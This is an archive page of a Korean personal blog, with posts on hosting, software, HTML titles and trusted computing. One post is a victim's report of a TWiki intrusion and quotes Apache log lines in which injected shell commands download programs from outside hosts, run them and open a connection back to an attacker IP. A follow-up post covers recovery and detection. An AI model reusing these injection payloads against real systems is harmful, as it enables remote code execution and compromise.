Uncategorized

이사했습니다

몇몇 분들은 알고 계시듯이, 전에 다니던 회사에 서버를 두고 있었는데, 보안을 이유로 쫓겨나는 바람에, 따로 호스팅 서비스를 받기로 했습니다. 호스팅 서비스는 딥블군이 살고 있는 드림호스트란 곳을 선택했습니다. 아무래도 ‘Ruby’를 사용할 수 있다는 것이 가장 큰 장점이지요. 여러가지 서비스가 자동화 되어있는 것도 눈에 띄네요.

다른 블로그 툴로 옮겨가기도 귀찮고 해서 그냥 MovableType 3.2 버전을 설치했습니다. 스팸 관련 플러그인이 기본으로 들어있다든가, theme 을 자동으로 적용할 수 있는 플러그인이 존재하는 것 같은 게 눈에 띄는 변화군요. 위키로는 드림호스트가 자동 설치 서비스를 제공하는 미디어위키를 설치했습니다.

문제는 기존의 데이터를 가져오는 것인데, 갑자기 기존 서버로 접근할 수 없게 되어서 원래 데이터를 가져오려면, 상당한 시간이 걸릴 것 같습니다. 구글 랭킹에서의 손실이 있을 것 같아서 안타깝군요.

이사했습니다 더 읽기"

이지인




이지인

Originally uploaded by Joseph Jang.

온게임넷 후비고에서 MC로 출연 중인 이지인 양입니다. 1992년생이고 물론 현재 중학생입니다.

최근에 후비고 관련 CF에서 뿔테 안경을 쓴 모습이 너무 마음에 들더군요. 헤어스타일도 함께요. 그렇다고 평소 방송을 진행할 때의 스타일을 좋아하지는 않는데 말이죠. 에, 오해하시면 안되는 부분은, 제가 로리로리가 아니라, 전 그냥 이런 스타일(뿔테 안경 + 헤어스타일)의 여자분이 좋다 이거죠. 제가 이렇게 해명을 했음에도 불구하고, 이 글에 대한 반응이 심히 우려되는군요. 이를테면, “그런게 로리인거 아냐?”라든가…

어..어쨌든, 좀 더 관심이 있으신 분은 다음 플래닛 후비고 페이지를 참고하세요.

이지인 더 읽기"

내가 사용하는 소프트웨어들

지난 번, 윈도우즈 재설치할 때, 당장 필요한 어플리케이션만 설치해서 썼더니 비교적 오랫동안 윈도우즈가 가볍게 유지되는 것 같아서, 이번 재설치 때(2005년 8월 11일)도 역시 need-to-use basis로 설치해서 쓰면서, 그걸 기록으로 남겨보았다.

  1. Windows XP
  2. Nvidia Forceware
  3. Logitech Mouseware
  4. MSN Messenger
  5. Firefox
  6. Enable ClearType
  7. Copy explorer icon to Quick Launch
  8. KMPlayer: 드라마 "24"를 보기 시작했던 때다.
  9. Intel Chipset Installation Utility
  10. Intel Application Accelerator
  11. Enable S3 for USB
  12. Intel 82562/82562EX/82540EM LAN Driver
  13. RealTek ALC101A/201A/202/650/655 AC97 Codec Driver
  14. Intel/NEC USB 2.0 Driver
  15. Vim
  16. ATNotes
  17. Adobe Reader
  18. Daemon Tools
  19. iPod Software
  20. Jukeon: 내가 가지고 있는 오디오 파일들도 대체로 Jukeon을 사용해서 듣는다.
  21. Melon
  22. V3Pro 2004
  23. QuickTime
  24. MIT Scheme: Essentials of Programming Languages를 공부할 때.
  25. Skype
  26. Tachy
  27. Google Talk
  28. StarDownloader: 다운로드 매니저.
  29. 꿀뷰2: 기생수를 보기 시작했던 때다. 생각 외로 만화보기에 상당히 편리하고 충분히 빠르다.
  30. Konfabulator: 아마 개강해서 날씨에 대해 신경을 쓰기 시작해야했던 때인가보다.
  31. Microsoft Office

다음은, 이후에 게을러져서 제대로 적지 않은 것들 (당연히, 설치한 순서가 아니다.)

기존에 사용하고 있던 어플리케이션들은 다음 페이지를 참조.

내가 사용하는 소프트웨어들 더 읽기"

lastmind 공격 이후 조치

지난 번 라마에 대한 공격 이후로, 보안에 대해 조금은 더 신경을 쓰게 되었습니다.

root 권한을 획득할 수 있는 overflow exploit은 제가 직접 실행해보아도 제대로 동작하지 않는 걸로 봐서, 실제로 root를 획득하는 데에는 실패한 것이 아닌가 판단하고 있습니다.

커널이나 중요한 파일들의 변경 시간과 사용자 계정 등을 검사해보았지만, 별다른 흔적은 발견할 수 없었습니다.

chkrootkit은 rootkit을 검사해주는 툴입니다. 일부의 rootkit을 검사하는 것일 뿐이지만, 일단 chkrootkit에 대해서 라마는 안전하더군요.

물론 어떤 것도 확실한 것은 없습니다. root를 얻은 후 모든 일을 한 후 흔적을 지우고 나갔다면, 제가 할 수 있는 일은 다른 분들 말씀대로 새로 설치하는 방법 밖에는 없죠.

적어도 외부로부터의 접근이 있는지를 알아내기 위해서 몇가지 툴을 설치해보았습니다.

COMPLETE guide to Snort, MySQL, and Acid란 글을 보고 Snort와 Acid를 설치했습니다. Snort는 상당히 유명한 IDS의 하나고, Acid는 Snort의 front-end 중 하나입니다. 시스템에 설치된 Acid는 다음 페이지에서 보실 수 있습니다.

Snort는 이더넷을 Promiscuous 모드로 하고, 네트워크 트래픽을 감시하면서 수상한 흔적이 있나 감시합니다. 이것도 커널, 디바이스 드라이버 수준에서 뭔가 바꿨다면 믿을 수는 없겠습니다만…

Snort를 개발한 SourceFire사는 Snort가 intrusion을 발견하기 위한 rule들을 유료/무료로 제공하고 있는데, 무료 룰(unregistered user release)은 유료 룰(registered user release)에 비해 업데이트가 느린 편이죠. 커뮤너티 룰이란 것도 있는데, 사용자들의 기여로 만들어지는 룰인 모양입니다. 현재는 무료 룰을 설치해놓은 상태인데, 무료 룰과 커뮤너티 룰 중에 어떤 것이 더 좋은 지 잘 모르겠군요.

연휴 동안에, kernel 업그레이드도 하고, integrity check을 할 수 있는 tripwire도 설치해 둘 생각입니다.

lastmind 공격 이후 조치 더 읽기"

<title />의 중요성

HTML 페이지에서 의외로 title element를 소홀히 취급하는 페이지들이 많다. 가장 흔히 볼 수 있는 경우는 페이지의 내용에 대한 제목이 아니라, 1) 사이트나 서비스의 이름을 제목으로 가지는 페이지들이다. 다른 한가지는 2) 제목이 아예 비어있는 경우다. HTML 4.01 specification은 분명히 title element가 페이지의 내용을 나타낼 수 있도록 규정하고 있다.

Authors should use the TITLE element to identify the contents of a document. Since users often consult documents out of context, authors should provide context-rich titles. Thus, instead of a title such as "Introduction", which doesn’t provide much contextual background, authors should supply a title such as "Introduction to Medieval Bee-Keeping" instead. [7.4.2 The TITLE element]

title element가 중요한 것은 단지 스펙 때문은 아니다. 웹을 사용할 때, 페이지에 관한 가장 기본적인 semantic을 표현하는 것이 바로 title element고, 실제 어플리케이션에서 여러가지로 활용되고 있다.

일단, title element는 대부분의 agent가 웹페이지를 보여줄 때 기본적으로 보여주어야만 하는 정보다. 대부분의 웹브라우저들은 물론 title element를 윈도우의 title bar 등에 표시해주거나 적어도 위쪽에 표시해주고 있다.

For reasons of accessibility, user agents must always make the content of the TITLE element available to users (including TITLE elements that occur in frames). The mechanism for doing so depends on the user agent (e.g., as a caption, spoken).[7.4.2 The TITLE element]

웹브라우저의 기본적인 기능 중 하나인 북마크를 할 때도 title element가 사용된다.

bookmark

검색 엔진들은 검색 결과에 해당하는 페이지들을 리스팅할 때 title element를 강조해서 보여준다. 만약 제목을 사이트의 이름과 같은 것으로 해놓는다면, 어느 누가 그 페이지를 열어보고 싶을까?

google

뿐만 아니라, 대부분의 검색 엔진은 크롤러가 수집한 페이지의 중요도를 평가하기 위해 title element를 우선적으로 사용한다. title element는 HTML 페이지에서 몇 안되는 semantic을 위한 element일 뿐만 아니라, 스펙에 의해 항상 존재함이 보장되는 정보다. HTML 초기 스펙부터 존재했던 element기 때문에 오래된 페이지라도 대체로 title element는 가지고 있기도 하다. 이러한 여러가지 점에서 title element가 가지고 있는 정보는 검색 엔진이 활용하기에 상당히 편리하다고 볼 수 있다.

한편, 라마(Last Mind의 줄임말)의 경우에는, 몇개월 전에 MT 템플릿을 정리하면서, 인덱스 템플릿을 개별 아티클 템플릿으로 복사해서 수정하는 바람에, 개별 아티클 페이지들의 제목이 전부 인덱스 페이지의 제목으로 리셋되는 사고가 발생했었다. 이후로 그 사고에 대해서 모르고 있다가, 최근에야 알아채고 수정할 수 있었는데, 그래서 구글은 바뀐 제목의 페이지를 반쯤 인덱싱한 상태다. 일반적으로, 제목이 제대로 달린 (한글 제목의) 페이지는 거의 구글의 첫 페이지에 나오지만, 그렇지 않은 페이지는 그렇지 않다. 제목의 중요성을 확인할 수 있는 대목이다.

자신의 페이지가 중요하다고 생각하고 그에 걸맞는 대우가 필요하다고 생각한다면, 먼저 title element를 제대로 대접해줘라.

<title />의 중요성 더 읽기"

lastmind.net security breached

우연히 top을 해봤더니, krad라는 프로세스가 CPU를 모두 차지하면서 동작하고 있더군요. 거기에 r0nin이라는 이름의 프로세스도 눈에 띄더군요. 순간 hack 당했다는 느낌이 들더군요. 역시나, 구글링해보니, 일종의 code injection 공격이더군요.

apache log를 살펴보니, 다음과 같은 내용이 있었습니다.

GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|wget http://64.18.139.66/~mota/ntfu.txt%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|perl ntfu.txt%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|uname%20-a%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|wget%20www.groupiys.net/xpl/dc%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|chmod%204777%20dc%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|./dc%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|./dc%20203.81.226.10%206432%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|wget%20www.groupiys.net/xpl/r0nin%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|chmod%204777%20r0nin%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|./r0nin%00 HTTP/1.1
GET /twiki/bin/view/Main/TWikiUsers?rev=2%20|./dc%20203.81.226.10%206432%00 HTTP/1.1
GET /twiki/bin/view/Main//TWikiUsers?rev=2%20|wget%20http://64.18.139.66/~mota/ntfu.txt%00 HTTP/1.1

그리고 twiki/bin과 /tmp에는 ntfu.txt, dc, krad, r0nin과 같은 파일들이 생겨있었습니다. apache를 통해서 생성된 파일들이기 때문에 apache user로 되어있었습니다.

보시다시피, 웹 어플리케이션을 통해서 shell command를 injection하고있는 것을 볼 수 있습니다. 구글링에서 찾은 건 My eGallery라는 웹 어플리케이션의 버그를 이용한 것인데 lastmind의 경우에는 제가 사용하고 있는 TWiki버그를 이용한 공격이었습니다.

이 문제는 제가 사용하는 버전인 2004년 9월 1일 릴리즈 이 후 이틀에 걸쳐서 수정된 문제임에도 불구하고, (그리고 security vulnerability에 대한 메일을 받았음에도 불구하고) 저같은 풀타임도 아닌 게으른 관리자가 관리하는 서버는 이러한 공격에 취약할 수 밖에 없는 것 같습니다. 어쨌든 2004년 9월 3일 릴리즈로 업그레이드 해서 이 문제는 해결했습니다.

대충 살펴보면, 주로 back door 종류인 듯 한데, lastmind에서 무슨 짓을 했는지는 아직 파악되지 않았습니다. 스팸 메일을 보낼까 해서 일단 sendmail을 내려놓은 상태입니다. krad라는 프로세스는 ‘kill -9’로 죽지도 않아서 reboot을 해야만 했는데, 흥미롭게도 다음과 같은 내용을 담고 있더군요.

$ strings krad

[1;37m k-rad.c – linux 2.6.* CPL 0 kernel exploit
[1;37mDiscovered Jan 2005 by sd <sd@fucksheep.org>

역시 구글링을 해보니, 리눅스 커널 2.6.x에 해당하는 sys_epoll_wait를 이용한 overflow exploit이라는 것이 밝혀졌습니다. kernel memory를 overwrite해서 root shell까지 실행할 수 있는 exploit인데, root를 가로채고 무슨 짓을 했을지 모르겠군요.

공격을 당한 그 날 발견한 것은 상당히 행운이라고 볼 수는 있겠습니다만… 피해 상황은 좀 더 조사해봐야겠습니다.

lastmind.net security breached 더 읽기"

Shuffle에 Miranda 설치하기

Miranda in Shuffle

Shuffle에 Firefox를 설치해서 잘 사용하고 있습니다. 학교에서나 방학 때 현장실습 했던 회사에서도 유용하더군요. 개강해서 PC실에 들러서 놀고 있는데, 갑자기 Google Talk를 쓰는 친구가 잘 살아있나 확인하고 싶어졌습니다. 역시 PC실에는 소프트웨어를 설치할 수 없기 때문에, 셔플에 뭔가를 깔아야겠다고 생각했습니다. Google Talk는 안될 것 같고 (실제로 되는 지는 모르겠습니다) … 아, lunamoth님이 얘기했던 Miranda가 어떨까요? 의외로 간단하게, zip format의 Miranda 배포판을 다운로드 받아서 셔플에 풀어놓는 것으로 모든 것이 해결되더군요.

MSN, Jabber, IRC 외의 다른 모듈은 다 내리고, 적당히 설정해주는 것으로 쓸만하게 되었습니다. Jabber 모듈을 Google Talk 쪽으로 접근하도록 설정하는 것은 Google의 가이드lunamoth님의 가이드를 따랐습니다. 왜 그런지 모르겠지만, Google의 것에는 OpenSSL 파일을 설치해주는 것이 빠져있죠.

아이콘 모음을 하나 받아서 설정해주었습니다. amicons라는 건데요. 괜찮습니다. 스킨은 마음에 드는 것을 찾기가 힘들어서 그만 뒀습니다. 기본 대화창조차도 플러그인으로 되어있는데, 폰트를 설정할 수 있는 것이 없어서 좀 불편하더군요. 역시, 적당한 대체 플러그인을 못찾겠습니다. 좋은 거 알고 계시면 좀 알려주세요.

gaim 외에 멀티프로토콜 메신저는 처음 사용해보았는데요. gaim에 비해 장점이라면, 인터페이스를 변경하는 것이 gaim에 비해 좀 더 자유로운 것 같다는 것입니다. 사실, 기본 인터페이스만 보자면 gaim과 별로 다를 것도 없긴 하죠. 그러고보면, gaim은 GTK+도 깔아주고 해야하니까, Shuffle에 설치하기는 좀 불편할 것 같기도 하네요. (따로 패키지가 있으려나요.) 데스크탑에서는 다양한 메신저들(MSN, Skype, Google Talk, Tachy, Nateon)을 사용하고 있긴 하지만, 아직은 데스크탑에서 멀티프로토콜 메신저를 사용할 생각은 들지 않네요.

Shuffle에 Miranda 설치하기 더 읽기"

Trusted Computing Group

Microsoft’s Machiavellian manoeuvring by Bruce Schneier

Trusted Computing Group (이하, TCG)은 Microsoft, Sony, AMD, Intel, IBM, Sun, HP와 같은 메이저 IT 업체들을 주축으로 하고 있는 컨소시엄이다. TCG의 기본 아이디어는 하드웨어와 소프트웨어가 어떻게 서로를 신뢰할 수 있는가 하는 문제를 해결하기 위한 것이다. 예를 들면, 하드웨어가 OS의 신뢰성을 보장하고, OS가 어플리케이션의 신뢰성을 보장해주는 식이다.

(예전에 저작권에 관한 이슈가 불거질 때, 태준형과 많은 얘기를 나누면서 TCG에 대해서 듣게 되었고, TCG에 대해서도 많은 얘기를 했었다. 다음 내용들은 그 얘기들에 기초하고 있다.)

예컨대, DVD의 불법적인 복제를 막고 싶다고 하자. 현재의 PC에서는 DVD의 내용이라고 할 수 있는 영상과 음성은 어떻게든 하드웨어와 소프트웨어를 거쳐 사용자에게 전달이 되어야하기 때문에 DVD에 담긴 데이터에 접근하는 모든 하드웨어와 소프트웨어를 막는 것만이 궁극적인 해결책이 될 수 있다. 여기에는 DVD 롬과 OS, DVD를 재생하는 소프트웨어, 그래픽 카드, 심지어 모니터도 포함될 것이다. 이러한 하드웨어와 소프트웨어의 요소 중 하나라도 복제를 방지하도록 설계되어있다는 보장이 없다면, 그 DVD에 담긴 데이터는 절대로 그러한 요소로 전달되어서는 안되는 것이다. 가장 간단한 방법은 PC와 같은 열린 플랫폼 보다는 DVD Player들, XBOX나 Playstation과 같은 닫힌 플랫폼을 선택하는 것이다. 하지만, 그러한 닫힌 플랫폼들은 그 특성상 PC 시장을 완전히 대체할 수는 없으며, 분명 아직도 전쟁중이다. TCG의 노력은 아마도 열린 플랫폼에서도 신뢰의 보장을 구현해보자는 것이다.

분명히 이것은 가치가 있다고 생각된다. 우리나라 은행 사이트들에만 들어가면 잡다하게 설치되는 ActiveX들은 짜증스럽다. 기본적으로 우리나라의 은행들은 절대로 사용자들과 사용자들의 PC를 믿을 수 없다는 것인데, 이것이 valid한 의견이든 아니든 간에, 은행들의 욕구를 충족시키면서 ActiveX를 없애고 싶다면, 은행 사이트들은 키로깅 소프트웨어나 백도어가 없거나 영향을 미칠 수 없다는 보장을 OS로부터 받을 수 있어야할 것이다. OS는 은행 사이트로의 모든 형태의 접근에 대한 다른 소프트웨어나 하드웨어의 접근을 통제할 수 있으니까 말이다. 물론, 그 OS를 믿을 수 있는가하는 문제는 또 다른 방법으로 (예를 들어, 하드웨어를 통한 인증) 해결할 수 있을 것이다. 제대로 된 TPM이 PC에서 구현이 된다면, 우리는 현재보다는 좀 더 편하게 인터넷 뱅킹을 할 수 있으리라고 생각한다.

하지만, 문제는 있다. TCG 또는 TCG의 회원사들은 항상 선한 의도만을 가지고 있는 것은 아니기 때문이다. TCG라는 조직 자체가 일종의 권력이며, TCG의 외부에 있는 하드웨어 또는 소프트웨어 회사들은 그 권력에 의한 피해를 입을 수 있는 여지가 있다. 뿐만 아니라, TCG가 컨텐츠 산업의 이익을 대변하며 디지털 컨텐츠를 절대로 복제할 수 없도록 하는 세상이 될 수도 있을 것이다. (간혹 영화에 나오듯이 더럽고 어두운 지하에서 펑크족 머리를 하고 주인공에게 불법적으로 복제를 해주는 세상말이다.)

Bruce Schneier는 TCG가 내놓은 문서인 Design, Implementation, and Usage Principles for TPM-Based Platforms을 소개하면서 이와 같은 우려를 표시한다.

That sounds good, but what does "security" mean in that context? Security of the user against malicious code? Security of big media against people copying music and videos? Security of software vendors against competition? The big problem with TCG technology is that it can be used to further all three of these "security" goals, and this document is where "security" should be better defined.

하지만, 이 문서는 TCG의 선한 의도를 표명하고 있고, Bruce Schneier도 이 문서에 쓰여진대로만 따른다면 그것은 좋은 가이드라인이라고 평가한다.

Complaints aside, it’s a good document and we should all hope that companies follow it. Compliance is totally voluntary, but it’s the kind of document that governments and large corporations can point to and demand that vendors follow.

Bruce Schneier가 한가지 더 우려하고 있는 것은 Microsoft의 행동이다. Microsoft는 TCG의 회원이지만, 이 문서의 기초를 더디게 만드려고 했다고 한다. 그 이유는 Windows Vista의 출시 이 후에 이 문서가 발표되도록 해서, Vista가 결국 이 문서의 영향을 받지 않도록 하기 위한 것이었다는 것이다. 물론 정확한 증거가 없는 의심이기는 하지만, Microsoft의 행보를 생각하면, 그냥 무시해버릴만한 생각은 아니다.

Trusted Computing Group 더 읽기"